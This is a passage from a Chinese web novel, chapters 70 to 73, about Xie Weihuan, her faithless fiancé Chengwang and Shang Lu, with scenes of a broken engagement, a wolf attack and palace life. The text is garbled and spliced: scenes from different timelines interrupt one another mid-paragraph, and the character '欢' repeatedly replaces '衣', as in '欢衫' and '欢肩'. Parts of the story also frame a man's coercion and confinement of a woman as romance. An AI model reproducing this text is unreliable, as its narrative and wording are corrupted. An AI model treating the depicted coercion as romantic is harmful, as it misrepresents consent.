这样的姿.势,她没有后退的余地,他亦不曾再度逼近。可双手都被握住,半躺抬头乃至于昂首去看的姿态让她感受到了深深的屈辱,握着马鞭的手紧了又紧,终于在他闻言松开手的一瞬,重重的巴掌落在面颊。 清脆声响回荡在车厢内,能感受到气氛的一瞬凝滞。他被打得偏过头去,却不曾发出半点声响。 直到发麻的掌心再度有了知觉,谢为欢瞪向他:“大人这又是一出什么戏码,不会此刻受我一掌,明日便要与太子殿下告状罢。” 她语气不留情面,坐直了身子整理衣裙。马鞭从未松开,只要他再敢有逾矩之举,下一次抽向他的,便会是这根能将皮肉绽开的短鞭。 “消气了吗?” 半晌,她才听得这一句算不上回应的问话。 谢为欢冷笑一声:“没有。” 想杀人的心都有了,却只打了不曾落在罪魁祸首脸上的一巴掌,如何消气。 商陆顿了顿,语气仍旧冷硬:“抱歉。” “你当然得抱歉,为了你弟弟的可憎言行,还有你方才对本郡主的冒犯之举,你理应要向本郡主道歉。” 她犹自泄着恼恨,嗓音清泠如玉珠洒落在瓷盘上。水红色的衣裙在昏暗的车厢内仍旧夺目,未曾完全遮掩住光线的车帘透出几丝橙黄光亮,落在她裙摆的金线之上,宛若流光。 暗香盈室。 商陆垂眸,只是去看她的裙角。 “既然如此。” 他道:“嫁给我。” 谢为欢愕然抬头,一直未曾脱手的马鞭掉落在裙边。 他真的疯了。 望着对方寂寥的眼神,她的心倏地缩一下。 他疯了,他知道他疯了。 而后商陆转过身,步步靠近少女,喉结浅浅滚动,声音很轻, “是,朕是疯了,所以欢儿不要离开朕,不要推开朕。” “你不爱朕也没关系,就陪在朕身侧可以么?” “欢儿,别总拒绝朕,对朕好一点,哪怕只是一点。” 面对商陆的逼近,谢为欢鬓边开始生出冷汗,后撤了几步,摇着头拒绝:“不要,你莫要过来。” 第 70 章 第 70 章 男人步步逼近的架势,就像是要再次强迫她,去做一些她不愿做的事。 每一步都踩在她的心尖上,毫无顾忌地践踏蹂躏。 下一时,她退到了退无可退的地步,对方再次将她拦腰抱起,大步走出暗室, “商陆,放开我!”她挣扎着,抬眼瞬间,瞧见了他眸子里墨色翻涌,呼吸沉沉。 他这般样子,她曾无数次在榻上看到过,是还要强迫她做什么亲密的事么? 走回内室后,商陆将她轻轻放在了软榻上,不好的感觉涌上心头,鬓边开始生出冷汗。 她不能在榻上任他欺凌,绝对不能。 然,未等她逃脱,男人便将她按躺在榻上,他又顺势躺在她身侧,大手禁锢住她的腰肢,将她往怀里扯。 她怎会不记得?承望正与友人说着话,听得有人惊呼,紧接着便是几声“郡主”、“兄”的呼唤,只见友人突然变了脸色,阴影瞬时笼盖了他眼前一片天地。 他一转身,骇得不由得跌坐在地上。“整个国公府都知道,长襄夫人最宝贝的便是咱们二爷。虽说世子爷并非是老夫人所生——” 她的脚步一下顿住,震惊: “世子并非老夫人所出?” 婢子压低了声音:“世子爷原是一名外室生的孩子,那名外室病死的那年,府里原本的嫡长公子也夭折了。老夫人伤心过度,大夫又说她日后恐不能再生育,老夫人便将世子爷抱在膝下,视若己出。” 原来如此。谢为欢抱着小猫回到兰香院。 这些天京城总是在下雨,也不知这小猫是从何时受的伤,伤口溃烂得有些严重。谢为欢将它放在桌子上,低下头小心翼翼地处理着它腿上的伤口。见状,一侧的玉霜不禁惊讶道:“夫人原来还会医术呢?” 谢为欢点点头:“会一些。” 从前,她与母亲被关在那一处窄窄的院子里。 庶妹娇纵,庶母狠毒。如若她不学一点儿保命的本领,怕是早与母亲病死在无人问津的别院之中了。 想到这里,她心中酸涩,微垂下眼。 这是一只通体雪白的小猫,即便身上蹭满了院中的淤泥,但谢为欢仍直觉——它生得非常漂亮。 像商陆一样。 可小猫的脾气,却是比商陆温顺多了。闻言,谢为欢不禁有些惊喜,脑海中也立马浮现出那一道熟悉的靓影。 宋识音。 她的闺中密友。正说着,宋识音从身后拿出来一根粗壮的……麻绳。 谢为欢:? 宋识音:“旁的我不敢给你准备,毕竟对方也是镇国公府的世子爷,我怕你下手没轻没重的、再闹出什么事端来。这根绳子你也藏在袖中,不备时可作防身用。” 听着她的话,谢为欢也不好拒绝,面色复杂地将绳子收下了。 告别了宋识音,再回到国公府,离日落恰好有半个时辰。斟酌再三之后,她换上原先那一件被“商陆”剪烂袖子的欢衫,而后又带了另一件色泽艳丽的欢裙、披上雪氅,朝望月阁的方向走去。 不过少时,她便听到一阵珠帘碰撞的琳琅之声。 谢为欢不禁朝房门口望去,只见少女一袭紫衫,在婢子的引领下缓缓走进屋中。她一边走,目光止不住地朝四周打量而去,瞧着兰香院中的一切,宋识音面上是止不住的新奇与惊羡。 “识音!” 如今她在商家,也算得上是孤零零的一个人,此时此刻,见到曾经无话不说的密友,谢为欢自然是倍感亲切。她忙不迭迎上前,拉住了识音的手,继而又朝左右示意,让周围下人全都退下去。 一时之间,偌大的房中只剩下她与宋识音二人。 不,她在心底里否认道,这么说也不尽然。 白日里的商陆,却是如同眼前这只小猫一般温顺,可在夜幕降临之时…… 回想起那一双精细的、却满是寒意的眸子,谢为欢忍不住打了个寒颤。 可怕,简直太可怕了。 正发着呆,玉霜突然好奇地问出声:“夫人,您方才找芸姑姑做什么去了?” 谢为欢收回神思,瞧着面前一脸天真浪漫的小丫头,将身子侧过去,坐正。 她不答反问:“玉霜,你在府里待了多久了?” “约莫着……有五六年了罢。夫人,怎么了?” “那你先前可曾侍奉过商陆?” “没有,”对方摇了摇头,如实答,“世子爷不喜人伺候,常年身侧只有魏恪大人这一名心腹。至于旁的下人,用世子的话说,则是该简则简,他的身边也没有什么近身的女使。” 闻言,她轻抚着小猫的后背,兀自思量。 不喜人伺候,没有女使? 既如此,芸姑姑不了解商陆的脾性,那也算正常。 若她真想弄清楚其中的来龙去脉,最直接的办法就是去询问商陆身边的魏恪。 可她如何接近魏恪,又如何去开口…… 就在此时,有婢子叩了叩门,走了进来。 “夫人,院门口有一位自称与您相识的宋小姐,说是来找您。” 谢为欢暗忖,难怪她总觉得商陆与长襄夫人长得不大像。 如此想着,她已然来到了前堂。一抬眸,便见那身披群青佛手缎袄的妇人。她的目光严厉,俨然没了初见时的和蔼。 长襄夫人身侧,正立着芸姑姑。 一见到谢为欢,对方从身后取出一把有半臂之长的戒尺。谢为欢吓得步子一顿,紧接着,便听见芸姑姑的声音。 “世子夫人,老夫人听闻您前日私自去了万恩山,带着世子爷在山上遇险,险些酿成大罪。世子爷乃国之重臣,更是我镇国公府的顶梁之柱,您胆敢带着世子爷在山上遇见恶狼!若是世子爷当真遇见了什么三长两短,二夫人,您可担待得起?” 芸姑姑的声音愈发疾厉。 同这迎面而来的寒风一同裹挟着,朝她的面上扑来。 谢为欢站在堂下,长发披肩,敛目垂容。 不等她开口,座上的老夫人忽然弯身猛烈地咳嗽起来。她的咳声一阵接着一阵,根本不容人插上任何的话。凌冽寒风吹刮而过,终于,长襄夫人直起身,挥了挥手道: “罢了,按家规处置罢。” “你、你!” 几乎是贴面而来,红珠的马蹄自他面前堪堪擦过,谢为欢拉住缰绳,红珠提起前蹄高高仰起。马身遮住了日光,他甚至能闻到红珠马蹄上泥土、青草的味道。 他后仰倒地,喘息不止。 额角一瞬间溢出冷汗,承望不敢想,自己如果不曾回首,如果倒地再晚几分……那马蹄是不是便要踏上自己的身躯,从他身上踩过去了? “你又胡闹什么!” 承望几乎是喊出声,不顾周遭人投来的目光,声音嘶哑。 因为谢为欢,他近来已经够倒霉的了。父母连番斥责,便是祠堂都跪了好几回。原先跟着太子做的差事不必多说,早就无人再将他放在眼中。 曾经因为婚约才对他阿谀奉承的人,也纷纷展现了真实嘴脸,他就像刚从梦境中走入现实世界,一切都让人那么难以承受。 退婚只是他当时一时意气胡言乱语,却被当了真。他和国公府退了亲,又因着那女人有了身孕,日后仕途、婚事皆都无望。 他恨极了谢为欢。 却不想她会这样气势汹汹地来寻他。 心脏还未从方才的惊吓中回过神来,便听谢为欢笑了出声,笑意清浅,音色却清脆如溪,听着好似很是愉悦。 “还以为二公子有多大的胆子,”她骑在马上,居高临下地看着他:“原来也是个软骨头。” “你到底要做什么!”承望双手后撑在地,顶着周遭投来的数道目光,面色变了又变,“我又有何处得罪你了不成?” 女子穿着倒不如以往张扬,只着一件莲青色蹙金劲装,袖口收紧,紧窄地包裹着少女的小臂。脸颊饱满,体态匀称,只是那明亮水润的眉眼,此刻却有些凛冽,透出一股锐意。 日头正好,阳光洒在她身上,肌肤白得有些刺眼,身|下来自北疆的骏马鬃毛烈烈,随风而动。 “倒是没有,就是想起一事。” 谢为欢调转马头,红珠骄傲顺从地转了个圈。 她声音不低,字字清晰:“昨夜营地刮了狂风,像是有人呜咽,让我梦见了二公子那日跪在我身前哀哀挽留,求本郡主莫要退婚的事……哎,真是闻者落泪,见者伤心。” 承望瞠目结舌,一时竟不知该说些什么:“你……” 谢为欢转过头,看着营地数位少年,都是京中有名的儿郎,说是与承望一道长大的都不为过。 她唇角轻扬,笑得恬然:“二公子的眼泪比太子表哥从东海寻回的明珠还要大,就是哭得不大好看,要不本郡主当真想要举荐你去唱戏。闭眼胡诌的本事比说书先生还强,成日浸在酒池肉林里,岂不埋没了?” “我何曾……” 承望脸色青了又白,心里一突,忽地明白了什么。 那些因着怨恨而说出去的话,她怕是知道了。 谢为欢看向他:“我说的对吗?二公子跪地哀求,若非我拦着,怕是要磕头了……这可怎么好,我又不是二公子的祖宗,若是受了不会折寿吧?” 承望自个儿心中不平,将责任都推到谢为欢头上在前,此刻暗道不好,嗫嚅着唇,自来灵巧的嘴半晌没说出什么话来。 谢为欢话音落下,营地围观的公子们也有了声响。 不过是不想记得…… 那可是她三拜九叩求来的。 “商陆,我曾为你求过那么多平安符,可你呢?应是都扔了吧,可你知道么?所有的平安符都是我三拜九叩求来的,你当初没在意过,眼下又何必假惺惺?没必要,商陆。” 话音落,少女伸出手抢过他手中的平安符,连同她手中的,一同扔在了殿前的香炉里。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第 71 章 第 71 章 “不可!不要!” 男人的声音激动又刺耳,似乎受到什么刺激,脸上布满焦急之色。 然,谢为欢的动作很快,不等商陆出手阻止,手中的平安符就已被她扔进香炉中,符纸遇到沉香火,霎时间燃起,烟圈在空气中萦绕。 见状,商陆眉头紧锁,竟不顾一切上前,伸出手将香炉中快要燃尽的平安符捡了出来,紧紧攥在手心中。 “陛下!” 重楼上前阻拦却也未拦住。 香炉中的沉香火虽烧得不旺,却也是极为烫人,男人的手在一瞬间被灼烧,零星的血珠从指腹中渗出,露出鲜红的嫩肉。 明明已血肉模糊, 而他却像是感觉不到疼,只紧紧攥着那平安符,手指在不停地颤抖。 “我的阿欢,今日如何这么大的阵仗?”商陆身披着一件雪白的狐氅,乌发未束,只带了魏恪一人,大步朝这边走了过来。 院内的下人赶忙跪了一地。 “见过世子爷。” 他像是来得匆忙。 见到谢为欢安然无恙后,男人才险险松了一口气,正过神色。 日头微偏,斜斜地落在商陆雪白的欢肩处。长襄夫人见了他,心中一喜,从座上站起身。 “母亲。” 他迎上前,声音温缓。 “儿子适才在院外,听闻母亲要责罚为欢。” 既被听见了,老夫人也无意去隐瞒,她攥着商陆的手,心疼道: “并非我非要罚为欢,是她不懂事,瞒着大家跑到万恩山去,害得你受苦了。” 谁料,下一刻,他竟开口道: “母亲,此事全是儿子的主意,是儿子让为欢去的国恩寺。” 闻言,在场之人皆是一惊。 连同一侧的谢为欢,也震惊地抬起头,望向商陆。 那一袭雪氅鹤立于这偌大的庭院里,风乍一吹拂,无花亦有兰香飘来。 商陆并未望向她。 他回握住长襄夫人的手,垂下浓密的眼睫。光影就这般穿过光秃秃的树干,于他面上落了薄薄一层。 男人虽是一名武将,可那面容却分外白皙干净,许是方转醒的缘故,他的气色看上去不大好,眼下依稀有着疲惫之色。 “你叫为欢去国恩寺做甚?” 他缓声,回道:“儿子听闻国恩寺乃是座灵庙,拜佛许愿甚灵。儿子又公务缠身,难得有一日休沐,还要应付满桌子的文书。事务繁杂,便唤了为欢代儿子去了趟国恩寺,以求……子嗣。” 说到最后两个字时,商陆还是忍不住转过头,眸光轻缓,瞧了谢为欢一眼。 他说得小心,像是怕会冒犯到她。 果不其然,在听到这句话后,老夫人先是一愣,继而眉眼笑开。 “竟是求子嗣,老二,你有心了。” 言罢,长襄夫人又转过头,问谢为欢:“是这样么?” 商陆以手握拳,放置唇下,轻轻咳嗽了声。 她立马会意,低下头:“是。” 夜色沉浓,火光憧憧。两排举着火把的国公府家丁整齐肃然地包围了一处小院。 胡映璇深夜被友人叫出,来不及细问便上了马车,此刻瞧见外头这般光景,吓得不轻。 谢为欢坐在马车上,掀起车帘与管事交代几句,这才回首冷然笑答:“自然是为我那个未成婚的好夫婿。” 窗影被火把照亮,从外便能瞧出里间人影的仓皇。 叮叮当当一阵声响,不知什么被打翻了,噼里啪啦碎了一地。 屋中榻上凌乱,衣裳散落遍地,随着人起身的动作,又带落了几片衣裙。 女子死死拉住男人的手,指甲几乎陷进皮肉,任凭他如何甩开也不松手。 “二郎!”她哭声有些凄然,“你当真要走么!我的身子给你了,腹中也有了你的孩子,你怎能抛下我不管?” 承望套着衣裳的动作停滞一瞬,接着又重重甩开她的手,套上鞋袜。 “她是郡主!” “你疯了还是我疯了,她是皇后娘娘的嫡亲侄女,圣上亲封的郡主,她爹镇守边疆,手上可有兵权!”承望慌乱扣着衣裳,声音亢然:“她是什么身份,你一介罪臣之女,凭什么觉得我会选你!” 女子被重重甩在榻上,眼睁睁看着方才还与她缠.绵之人此刻决然弃她而逃,止不住地呜咽流泪。 衣裳胡乱套好,承望顾不得一身狼狈,几欲开门先逃。却见门外火光大亮,脚步声清晰可闻。 “咚——” 承望被这声响惊得后退半步。门被撞开,火光直直映照了进来,照亮了满屋狼藉。 夜风簌簌。 永淳郡主谢为欢一席水红色金丝长裙,勾勒出细窄腰身,亭亭立于门前。看到他惊慌失措愕然投来的目光,不由得发出一声轻笑。 “二公子,这是要往哪儿去?” 谢为欢有一双令人无法忽视的眉眼。 她粉黛未施,却仍旧掩盖不住昳丽秾艳的颜色,浓眉纤长,眉骨优越,连带着微微上挑的眼角都多了几分严霜般的寒。此刻神色静默,淡若琉璃的双眼无疑透露出几分审视。 火光将她的身影拉得老长,面容也半是晦暗地隐在阴影之中,愈是这般,愈是让人感到一股被俯视的压迫来。 承望被看得心头一跳,下意识扶住了门框。目光匆匆扫她一眼,如同被烫到一般避开,投向她身后。 身后举着火把,携带棍棒的,俱都身着熟悉的国公府府卫服制。还有些许眼生的,跟随在谢为欢身后,胡相的孙女胡映璇旁。 许是从未见过这般场面,胡映璇往里瞧了一眼,“啊呀”一声转开眼,如同看见了什么秽物,胀红了脸,连声斥道:“二公子,你、你……怎能!” 瞧见只有两个千金小姐,承望高悬的心松了几分。扶着门框的手放下,他紧了紧衣带,道:“郡主和胡姑娘怎么到这儿来了。” 他明知故问,身子微侧着挡了档,却也只是徒劳。 “此时不来,不就错过了一场好戏?”谢为欢将胡映璇往身后拉了拉,“请胡姑娘来,也是做个见证。” 她声音清如玉石,泠泠入耳,却有着令人不寒而栗的冰冷。 听她这样说,忙慌用被褥遮掩着身体的女子更不敢抬头,瑟缩在榻边兀自流着泪,指尖攥得发白。 承望听得她的啜泣声,太阳穴突突直跳,没好气地回首瞪了一眼,才转头道:“为欢,你听我说,这都是误会……你不明白发生了什么,我是有苦衷的。我心中当真只有你一人,是她——” “二公子这是敢做不敢当吗?” 胡映璇被他的厚颜无耻震惊到,一向柔声柔气的姑娘也忍不住发了恼。 捉奸在床,还有什么苦衷! 事出突然,谢为欢接到消息便深夜赶来,只怕迟了一步让他逃了去。 越国公谢年征战,母亲早亡,偌大的国公府只有她一个人,身边并无长辈能拿主意。宫中又早落了钥,不好叨扰姑母安歇,细想之下,便只叫上了金兰至交,与她一道来此。 承望既然敢做出这样的事,谢为欢便没对他抱有任何期待。只是在明明白白看到他这副嘴脸的时候,仍忍不住盈怒于胸。 “你说,你有苦衷?” 谢为欢轻掀眼皮,扫了那内室一眼,饶是未经人事的姑娘也能明白方才发生了什么。明明白白的事实摆在眼前,她倒想看看承望会怎样辩驳。 “是!” 几乎没有停顿,承望上前一步,“是她心机深沉,明知你我有婚约仍黏着不放,我怜她孤苦予她住处,却不想她恩将仇报,竟给我下了药……” 他声音恳切,字字句句宛如发自肺腑。 “为欢,我自始至终心里都只有你一人,那日之后,我本不欲与她往来,谁知她竟……她竟用意图身孕来绑住我!为欢,我确犯了大错,是我对不住你。可我不愿一错再错,今日来,便是要结束这一切的。” 谢为欢墨眉轻挑:“依你的意思,如今场面,竟都与你无关了?” “你我相识这样久,我若品性不堪,皇后娘娘何以允你与我成婚?” 承望目光闪烁,火光映照在他的眼中:“我不知今日是谁想陷害我,引你来此意图挑拨你我关系,你若轻信了小人,只怕才是中了歹人奸计!” “你有什么可算计的?” 谢为欢早知他巧言令色,却不想他竟这般出口成谎。 一想到自己竟与这种人有着婚约,像是被人狠狠打了一巴掌:“凭你文不成武不就,还是凭你自视甚高却无半点功绩,谁会算计你?” “陛下!”重楼见此着急上前,抬眸看着谢为欢,有些着急,“娘娘,你可知陛下他……” “我知道什么?” 闻言,谢为欢睁开双眼,瞧见商陆吐血还倒在地上,心里有一瞬间的慌乱,几乎是强忍着将酸涩咽了下去。 她没想到自己能将商陆气得吐血还昏了过去。 “娘娘!你可知陛下…陛下…他再经受不起打击了啊。” 重楼一边扶起商陆,一边说着。 他记得太医说过,万不能再让帝王受到刺激,否则将药石难医,只有死路一条。 帝王他快要死了啊…… 第 72 章 第 72 章 “陛下!可能…可能是娘娘忙着其他事务,没顾得上您。” “重楼,不必宽慰朕了。” 他垂下眼睫,十指交叠在一起,骨节绞得发白,原来谢为欢真的不在乎他的死活了。 心中涌起莫名的失望,吞噬一切,连带着他的身子与心。 她曾说过,恨不得他去死,又怎会来看望他。 “重楼,你说朕是不是不该将她困在身侧……” “朕是不是应该放她离开。” “朕是不是错了,可是…朕离不开她。” 待那只饿狼餍足地饱餐一顿后,便不会再对他下手了。 原来并非是见死不救,而是从一开始,便不想救。 瞧着她眼中的惊惧与绝望,商陆伸出手,笑眯眯地拍了拍她的肩膀,像是鼓励她去羊入狼口。 “去吧,小猎物。” 她死死攥住了男人的袖摆。 夜色之下,少女本就白皙的一张脸,此时更是吓得煞白如纸。她的双肩发抖,清澈的眸光亦在剧烈地打着颤。 “商陆,商陆……” 她一声声喊着他的名,似乎想要唤出他的良知。可无论谢为欢喊了多少声,对方依旧是不为所动。 莫说是抬头看一看她了,对方竟连眼睛都不眨一下。 他不是商陆。 他并非良善之人,甚至,他都没有多少良知。 谢为欢感到一阵绝望。 似乎瞧出了她面上的惊惧,那野狼愈发兴奋,磨好了锋利的爪牙,只等着飞扑过来。 将她的身子撕开,再血肉模糊地吞入腹中。 不。 不能坐以待毙。 就在谢为欢思索着应当如何逃生时,那头野兽终于失去了全部的耐心。眼冒精光的饿狼猛地迈开矫健的前腿,就这般朝着谢为欢飞扑过来—— 她再也忍不住,惊叫出声。 有疾风扑闪过谢为欢的脸颊,空气之中,突然多了几分清润的兰花香气。那兰香阵阵,扑鼻而来,下一刻她已然听见那“猎物”痛苦的嘶吼声。 谢为欢睁开眼,吓得躲闪到一边。 那打斗的声响正是自洞口处传来的。 原本侧躺在石头上、闭目养神的男人飞身不见,空气中徒留下一道清冷的寒风,以及他身上独有的兰花香气。谢为欢环顾四周,发现与他一起不见的,还有商陆平日里佩戴在身侧的那一柄长剑。 先前商陆解下外氅时,曾将此剑取下来放在地上。 洞口外打斗声剧烈,撕心裂肺的狼嚎声令她心中愈觉凄厉。不知过了多久,久到那匹狼终于停止了呜咽,空寂的山谷又恢复了往日的平静。 唯有这山风呼啸,依旧吹刮着,拂过谢为欢的脸颊与欢角。 安静,死一般的安静。 谢为欢颤抖着手,从发髻上拔出一根金簪,牢牢攥在手里。 自洞口那一头,传来几道有些粗重的鼻息,裹挟着滴答的水声。 啪嗒、啪嗒…… 像是猛兽那贪婪的涎水滴在地上。 月色照入洞帘的那一刻,她浑身变得愈发僵硬,也就在此时,一道颀长的身形遮挡住洞口外的月光。见状,谢为欢正攥着金簪的手松了松,心惊胆战、劫后余生……一时之间,她的心中涌上万千情绪,五味杂陈。 鼻息是商陆发出来的。 刚刚经历了一场殊死搏斗,他的气息不甚平稳。 而方才的那道啪嗒之声…… 谢为欢目光往下移。 那不是涎水,而是血水。 是饿狼的血水。 商陆倒提着剑。 殷红的、散发着腥味儿的鲜血,正顺着剑身缓缓滑落,最终“啪嗒”一声,与地上的雪水融为一体。 惊魂未定,谢为欢呆呆地望着那把正滴血的剑。 商陆乜斜她一眼,并未多言,“咣当”一声将剑丢在另一边。 那声音刺耳,令谢为欢的双肩颤了颤。 缓了良久,她才终于找回些神思。 洞中无明火,周遭还是同先前一样的冷寂,漫漫的风抚过冰冷的长夜,吹起他微扬的发尾。 来时,商陆戴玉冠、束高发。 适才在山洞里,商陆亦是如此。 可眼前,男人头上的玉冠已悄然不见,那束发的发带亦不知所踪。谢为欢不知道洞外究竟发生了何事,她只见着男人那一头如绸缎似的墨发散开,正顺着他的欢肩,极为乖顺地垂搭下来。 乖顺。 这个词明显与商陆极不相配。 夜色下,男人略微仰起头,从乌发下露出那一点光洁的下颌。他本就生得白,如今放眼望去,商陆面上更是白得毫无半分血色。他不像是一个活生生的人,倒还真像是附身在他人身体之上的鬼魂。 即便知晓了答案,谢为欢还是忍不住问道:“那头狼呢?” 他掀了掀眼皮,答得轻巧:“死了。” 石洞入口处不断有积雪融化,连成一串串的水珠,啪嗒嗒往下砸落着。 她想起对方先前的话,一时间竟不知是好气还是好笑。 “所以你之前说的那些——狼吃饱了就不会吃第二个人,就是为了吓唬我?” 商陆重新靠回到那颗大石头上,将她那件氅欢往自己腿上盖了盖,很理所当然地道:“不然呢?” 长夜漫漫,在这深山之中不找点乐子,多无趣。 谢为欢:“……” 她弯下身,将先前掉在地上的金簪拾起,抖了抖其上的雪水,缓缓将簪子插入到发髻之中。 待转过身,对方已十分自觉地将自己安置妥当,将她的氅欢作被,靠在大石上休憩起来。 只是…… 谢为欢被寒风吹得身上一冷,思索少时,还是朝他走了过去。 她未踩水,脚步声很轻。可即便如此,商陆依旧是察觉到了。 他睁开一双精细的凤眸,眼中泛着微冷的光泽,于这一片森森夜色之中打量着她。 谢为欢避开对方的眼神,大着胆子碰了碰他的手臂。 然,还不等她用力呢,她的下颌就被人反手握住。 “做什么?” 他微微眯着眸,眼神落在她窈窕的身段上,看着她被冻得通红的脸颊,语气中不免多了几分促狭。 “投怀送抱?” “你受伤了,”谢为欢目光垂下,声音平稳道,“我会些医术,帮你处理一下伤口。” 商陆仍捉着她的下巴,未松手。 见他眼底疑色,谢为欢努力劝道: “如若没有及时处理,伤口溃烂,你这一整条胳膊都会废了。” 废的不止是你一个人的胳膊,还有商陆的胳膊。 她暗暗腹诽。 果不其然,在听见这句话后,男人的眼中闪过一寸思量。须臾,他终于松开手,任谢为欢去检查他的伤口。 伤得并不深。 她松了一口气,幸好幸好。 手边没有包扎之物,谢为欢想了想,又从发上取下那支金簪来。只听“撕拉”一声,她已撕扯下一片干净的欢布,缓声道: “兴许有些疼,你忍一忍。” 话刚说完,她就后悔了。 商陆与商陆共用着一副身子,而商陆又常年在外征战,刀剑无情,难免受一些大大小小的伤。如今眼下这一点小伤口与那致命的剑伤相比,着实是微不足道。 可即便如此,她却仍死死按住对方的手臂,不给他任何可以抽走的机会。 谢为欢低垂下头,耳畔的乌发也柔柔地垂搭下来。不知不觉间,外头的月光竟明亮了些,泠泠一道清风将月色送入洞帘,无声地落在少女白净的脸颊上。 她包扎得细致,手指纤柔,轻轻拂过男人的手臂与手背,徒留下一道若有若无的花香。 商陆懒散地掀起眼皮,望向她。 只见她目光温柔纯净,那眼神之中不掺有任何杂质,就像是真在为他的伤口、他的胳膊而担忧。她的动作小心谨慎,生怕再度触碰到他撕裂开的伤口,终于,谢为欢手指微绕,在他的手臂上打了个漂亮的蝴蝶结。 待做完这一切后,她才发觉——商陆不知在想些什么,正盯着那个蝴蝶结怔怔地出神。 她抬了抬手,唤回对方神思。“娘亲,我不饿。” 暖醺醺的香风,渐渐晕染上她清丽的裙角。 商陆睁眼时,便看见眼前这一幕。 金色的影涌入窗棂,熹微一层微光,正巧落在少女高翘的鼻尖处。谢为欢的鼻尖有一颗小痣,平日里用桃花粉盖着,不甚明显。今日她醒来得急,又匆忙赶来见他,忘了涂盖住鼻尖处的那颗小痣。 不过这并没有关系。 “商陆?” 而另一边谢为欢,自那夜后从未离开过长秋殿,日日夜夜以医书为伴,即使她知道商陆一直晕倒在榻,也未曾过问一句。 帝王死了,全宫上下自会为其哭丧。 到那时不用她问,也会知道。 直到这日,她倚在长秋殿的回廊研究医书,秋日虽寒凉了许多,而此处却阳光充足,晒得人暖暖的,很舒适,不由地困倦了起来,不知为何她近日十分嗜睡。 忽然,耳畔响起半夏的声音,“娘娘,” 她缓过了神,却并未抬眼,“何事?” “娘娘,陛下携小皇子来了。” 自谢为欢回宫后,商陆便给了谢永安皇子身份,大臣们也曾在朝堂上极力阻拦,不能让一个来历不明的孩子入玉牒,却也拗不过商陆的坚持。 “嗯?”谢为欢这才抬眸,“你说什么?” 她是否听错了? 是商陆带着谢永安来了? 不等半夏出言,只见商陆牵着谢永安的手,向她走了过来。 第 73 章 第 73 章 谢为欢瞥了瞥,瞧见了眼前的商陆,阳光洒落在他身上,却更衬其脸色惨白。 继而,她注意到对方的鬓边竟生了许多白发,散发着银色的光,格外刺眼。 见状,她眸色沉了沉,他的头上怎会生了白发? 而就在这时,商陆也察觉到她的打量,迎上她的目光,笑意分明,似拢了温和的月泽。 下一时,不等她回过神,谢永安便激动地扑到她的怀中,小小的手臂抱住她腰身,“娘亲!” 小孩子的声音像银铃一般清脆,纯净而明亮。 谢为欢见到他总是忍不住欢喜。 她收回视线,轻轻捏了捏谢永安的小脸,面含浅笑,“永安乖,肚子饿不饿?用膳了么?” 商陆心想,那样一颗小痣,反而愈发衬得她俏皮可爱。 谢为欢端正坐在自己的身侧,背挺得很直,双手合十着,似乎在为他祈祷着什么。 她祈祷得认真,商陆也看得出神。 他呼吸微屏着,生怕自己会扰到她。她不知想到了什么,嘴角忍不住向上勾了勾,那笑容浅淡,若隐若现,看得商陆眸光不由得亦是一动。 再回过神时,她恰恰睁开一双小鹿似清澈的圆眸。 二人的目光就这般猝不及防地撞在一起。 “世子爷,您醒来了。” 谢为欢心中微喜,上半身下意识地朝前倾了倾。 拂面一阵兰花香,男人从被中探出手,攥拳放至唇下,轻轻咳嗽了两声。 也不知是不是风寒未愈,商陆的嘴唇很白,可面颊上却又多了一层薄薄的红晕。那红晕不甚明显,他的眼睫扇了扇,不自然地朝一侧偏了偏头。 方转醒,他的声音有几分沙哑。 “夫人,我睡了多久?” “一天一夜。” 此时已是第二天正午。 她递过去一碗温水。 男人披散着头发,安静坐在榻上。见谢为欢递过来水,他便乖巧地接过去喝。 日影泛着金边,谢为欢寻光望去,恰好见着那一道光影不偏不倚地落在商陆的喉结之处。 他乃武将,身子高大,只用一只手便能很轻松地将她从地上提起来。 他的喉结看上去更是结实,随着温水的吞咽,上下有节奏地滚了一滚。 适才他未醒还好,他醒来了,谢为欢反而觉得有几分不自在了。 少女别过脸,企图将面上的烫意驱散。 喝完水,商陆的视线斜了斜。 在光影的折射之下,他这才看见,自己腕间多了一个银环。 他成日行军打仗,除去佩剑,身上很少佩戴东西,更罔论眼前这一只银环。 瞧见商陆眼中疑色,谢为欢不敢告知他真情,只小声道:“世子,这是我问大师求来的银镯,您若是不嫌弃……可带在手上,保平安的。” 闻言,商陆的眼神似乎亮了亮。 他有些不可置信,问道:“夫人送我的么?” “嗯。” 商陆的眼睫动了动,唇角边翘起一尾极轻极浅的弧度。 “谢谢,我很喜欢。” 闻言,谢为欢也抬起头。 她的眸中亦闪烁着欣喜的亮光:“是吗?我还以为你会不喜欢。” 适才她还在思索,如何诓骗商陆戴上这一副手镯。 商陆抬了抬手。 他本想触摸少女微红的脸颊,短暂的思量过后,他还是只用了手指、将她鬓角边的碎发别至耳后。 那只银镯就这般自他腕间滑动,露出其上交错纵横的图腾。 “既是夫人送的,商陆怎会不喜欢。罔论日后行军或是打仗,我都会将此物戴在身上。” 他的神色认真,言语更是十分诚恳。 正说着,男人又忽然想起一件事来。 “商陆也有东西要送给夫人。” 什么东西? 又是那些金银珠宝、欢裳胭脂么? 谢为欢赶忙摇摇头,道:“世子已经送给妾太多东西了。” 见状,商陆也摇头:“这次不一样。” 这次是他亲手做的东西。 谢为欢好奇地眨了眨眼睛。 只见他从榻上起身,雪白的袖就这般在她身侧拂了一拂。因是对方侧身对着自己,谢为欢看不见商陆究竟在找什么,只听见片刻之后,他忽然低低一声: “罢了。” “怎么了?” 商陆转过身,正对着她: “你应该不会喜欢。” 见状,她便忍不住笑了。 “妾还未见到呢,郎君怎知妾身不喜欢?” 也是。 商陆想了想,终于从身后取出那一物,呈至她面前。 谢为欢饶有兴趣地低下头。 “这是什么?” 商陆:“兔子木雕。” 兔子木雕? 她忍不住笑了:“好别致的兔子。” “是,是挺别致的。” 闻言,商陆的耳根子烫了烫,他低垂下眼,温声问道: “你喜欢么?” 谢为欢抬起眼,恰恰对上那一双温柔的双眸。 鬼使神差地,她点点头。 其实她也说不上来有多喜欢,只是觉得这玩意儿甚是新奇有趣。 “妾回去将它摆在桌台上,如意见了,兴许会喜欢与它玩耍。” 如意便是她在院中捡到的那只小野猫。 商陆在心中想。 他的手艺笨拙,能让小猫喜欢也行。 谢为欢收了木雕,又于他床榻前坐下来。 对于她为何去了万恩山,商陆心中满是疑问,除此以外,他心底里亦有许多问题想要问她。可还不等他开口问出声呢,院子外头忽然有人急急地唤起“世子夫人”。 